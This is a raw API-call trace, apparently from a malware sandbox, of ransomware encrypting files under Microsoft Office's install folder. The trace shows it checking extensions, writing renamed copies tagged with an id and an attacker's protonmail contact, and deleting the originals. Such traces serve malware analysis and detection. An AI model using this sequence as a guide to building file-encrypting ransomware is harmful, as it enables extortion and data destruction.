	[0189.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0189.471] lstrlenW (lpString=".doc") returned 4
	[0189.471] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0189.471] lstrlenW (lpString=".docx") returned 5
	[0189.471] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0189.471] lstrlenW (lpString=".pdf") returned 4
	[0189.471] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0189.471] lstrlenW (lpString=".xls") returned 4
	[0189.471] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0189.471] lstrlenW (lpString=".xlsx") returned 5
	[0189.471] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0189.471] lstrlenW (lpString=".ppt") returned 4
	[0189.471] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0189.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0189.471] lstrlenW (lpString=".zip") returned 4
	[0189.471] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0189.471] lstrlenW (lpString=".rar") returned 4
	[0189.471] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0189.471] lstrlenW (lpString=".bz2") returned 4
	[0189.471] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0189.471] lstrlenW (lpString=".7z") returned 3
	[0189.471] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0189.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0189.471] lstrlenW (lpString=".dbf") returned 4
	[0189.471] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0189.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0189.471] lstrlenW (lpString=".1cd") returned 4
	[0189.471] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0189.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0189.472] lstrlenW (lpString=".jpg") returned 4
	[0189.472] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0189.472] lstrcmpiW (lpString1=".msu", lpString2=".html") returned 1
	[0189.472] lstrlenW (lpString="Windows8.1-KB2999226-x86.msu") returned 28
	[0189.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.550] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=595977) returned 1
	[0189.550] CloseHandle (hObject=0x5ac) returned 1
	[0189.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 0x220
	[0189.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0189.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.551] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.551] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0189.552] GetLastError () returned 0x0
	[0189.552] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x91809, lpOverlapped=0x0) returned 1
	[0189.576] WriteFile (in: hFile=0x5e8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x91810, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x91810, lpOverlapped=0x0) returned 1
	[0189.717] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.717] WriteFile (in: hFile=0x5e8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0189.717] SetEndOfFile (hFile=0x5e8) returned 1
	[0189.768] CloseHandle (hObject=0x5e8) returned 1
	[0189.768] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.768] SetEndOfFile (hFile=0x5ac) returned 1
	[0189.784] CloseHandle (hObject=0x5ac) returned 1
	[0189.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 1
	[0190.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0190.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0190.094] lstrlenW (lpString=".doc") returned 4
	[0190.094] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0190.094] lstrlenW (lpString=".docx") returned 5
	[0190.094] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0190.094] lstrlenW (lpString=".pdf") returned 4
	[0190.094] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0190.094] lstrlenW (lpString=".xls") returned 4
	[0190.094] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0190.094] lstrlenW (lpString=".xlsx") returned 5
	[0190.094] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0190.094] lstrlenW (lpString=".ppt") returned 4
	[0190.095] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0190.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0190.095] lstrlenW (lpString=".zip") returned 4
	[0190.095] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0190.095] lstrlenW (lpString=".rar") returned 4
	[0190.095] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0190.095] lstrlenW (lpString=".bz2") returned 4
	[0190.095] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0190.095] lstrlenW (lpString=".7z") returned 3
	[0190.095] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0190.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0190.095] lstrlenW (lpString=".dbf") returned 4
	[0190.095] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0190.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0190.095] lstrlenW (lpString=".1cd") returned 4
	[0190.095] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0190.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0190.095] lstrlenW (lpString=".jpg") returned 4
	[0190.095] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0190.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0190.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0190.095] lstrlenW (lpString=".doc") returned 4
	[0190.095] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0190.095] lstrlenW (lpString=".docx") returned 5
	[0190.095] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0190.096] lstrlenW (lpString=".pdf") returned 4
	[0190.096] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0190.096] lstrlenW (lpString=".xls") returned 4
	[0190.096] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0190.096] lstrlenW (lpString=".xlsx") returned 5
	[0190.096] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0190.096] lstrlenW (lpString=".ppt") returned 4
	[0190.096] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0190.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0190.096] lstrlenW (lpString=".zip") returned 4
	[0190.096] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0190.096] lstrlenW (lpString=".rar") returned 4
	[0190.096] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0190.096] lstrlenW (lpString=".bz2") returned 4
	[0190.096] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0190.096] lstrlenW (lpString=".7z") returned 3
	[0190.096] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0190.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0190.096] lstrlenW (lpString=".dbf") returned 4
	[0190.096] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0190.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0190.096] lstrlenW (lpString=".1cd") returned 4
	[0190.096] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0190.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0190.096] lstrlenW (lpString=".jpg") returned 4
	[0190.096] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0190.097] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0190.097] lstrlenW (lpString="AccessR_Retail-ppd.xrm-ms") returned 25
	[0190.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0190.675] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=20778) returned 1
	[0190.675] CloseHandle (hObject=0x5e8) returned 1
	[0190.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 0x220
	[0190.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0191.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0191.207] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.207] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0192.060] GetLastError () returned 0x0
	[0192.060] ReadFile (in: hFile=0x574, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x512a, lpOverlapped=0x0) returned 1
	[0192.073] WriteFile (in: hFile=0x580, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x5130, lpOverlapped=0x0) returned 1
	[0192.075] ReadFile (in: hFile=0x574, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.075] WriteFile (in: hFile=0x580, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x106, lpOverlapped=0x0) returned 1
	[0192.075] SetEndOfFile (hFile=0x580) returned 1
	[0192.075] CloseHandle (hObject=0x580) returned 1
	[0192.075] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.075] SetEndOfFile (hFile=0x574) returned 1
	[0192.081] CloseHandle (hObject=0x574) returned 1
	[0192.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 1
	[0192.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0192.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0192.083] lstrlenW (lpString=".doc") returned 4
	[0192.083] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.083] lstrlenW (lpString=".docx") returned 5
	[0192.083] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.083] lstrlenW (lpString=".pdf") returned 4
	[0192.083] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.083] lstrlenW (lpString=".xls") returned 4
	[0192.083] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.083] lstrlenW (lpString=".xlsx") returned 5
	[0192.083] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.083] lstrlenW (lpString=".ppt") returned 4
	[0192.083] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0192.083] lstrlenW (lpString=".zip") returned 4
	[0192.083] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.083] lstrlenW (lpString=".rar") returned 4
	[0192.083] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.083] lstrlenW (lpString=".bz2") returned 4
	[0192.083] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.083] lstrlenW (lpString=".7z") returned 3
	[0192.083] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0192.083] lstrlenW (lpString=".dbf") returned 4
	[0192.083] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0192.083] lstrlenW (lpString=".1cd") returned 4
	[0192.083] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0192.084] lstrlenW (lpString=".jpg") returned 4
	[0192.084] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0192.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0192.084] lstrlenW (lpString=".doc") returned 4
	[0192.084] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.084] lstrlenW (lpString=".docx") returned 5
	[0192.084] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.084] lstrlenW (lpString=".pdf") returned 4
	[0192.084] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.084] lstrlenW (lpString=".xls") returned 4
	[0192.084] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.084] lstrlenW (lpString=".xlsx") returned 5
	[0192.084] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.084] lstrlenW (lpString=".ppt") returned 4
	[0192.084] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0192.084] lstrlenW (lpString=".zip") returned 4
	[0192.084] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.084] lstrlenW (lpString=".rar") returned 4
	[0192.084] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.084] lstrlenW (lpString=".bz2") returned 4
	[0192.084] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.084] lstrlenW (lpString=".7z") returned 3
	[0192.084] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0192.085] lstrlenW (lpString=".dbf") returned 4
	[0192.085] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0192.085] lstrlenW (lpString=".1cd") returned 4
	[0192.085] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0192.085] lstrlenW (lpString=".jpg") returned 4
	[0192.085] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.085] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.085] lstrlenW (lpString="ExcelR_Grace-ul-oob.xrm-ms") returned 26
	[0192.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0192.086] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11589) returned 1
	[0192.086] CloseHandle (hObject=0x574) returned 1
	[0192.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 0x220
	[0192.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0192.087] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.087] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0192.088] GetLastError () returned 0x0
	[0192.088] ReadFile (in: hFile=0x574, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d45, lpOverlapped=0x0) returned 1
	[0192.091] WriteFile (in: hFile=0x580, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0192.093] ReadFile (in: hFile=0x574, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.093] WriteFile (in: hFile=0x580, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x108, lpOverlapped=0x0) returned 1
	[0192.093] SetEndOfFile (hFile=0x580) returned 1
	[0192.093] CloseHandle (hObject=0x580) returned 1
	[0192.094] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.094] SetEndOfFile (hFile=0x574) returned 1
	[0192.097] CloseHandle (hObject=0x574) returned 1
	[0192.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 1
	[0192.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0192.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0192.103] lstrlenW (lpString=".doc") returned 4
	[0192.103] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.103] lstrlenW (lpString=".docx") returned 5
	[0192.103] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.103] lstrlenW (lpString=".pdf") returned 4
	[0192.103] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.103] lstrlenW (lpString=".xls") returned 4
	[0192.103] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.103] lstrlenW (lpString=".xlsx") returned 5
	[0192.103] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.103] lstrlenW (lpString=".ppt") returned 4
	[0192.103] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0192.103] lstrlenW (lpString=".zip") returned 4
	[0192.103] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.103] lstrlenW (lpString=".rar") returned 4
	[0192.104] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.104] lstrlenW (lpString=".bz2") returned 4
	[0192.104] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.104] lstrlenW (lpString=".7z") returned 3
	[0192.104] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0192.104] lstrlenW (lpString=".dbf") returned 4
	[0192.104] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0192.104] lstrlenW (lpString=".1cd") returned 4
	[0192.104] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0192.104] lstrlenW (lpString=".jpg") returned 4
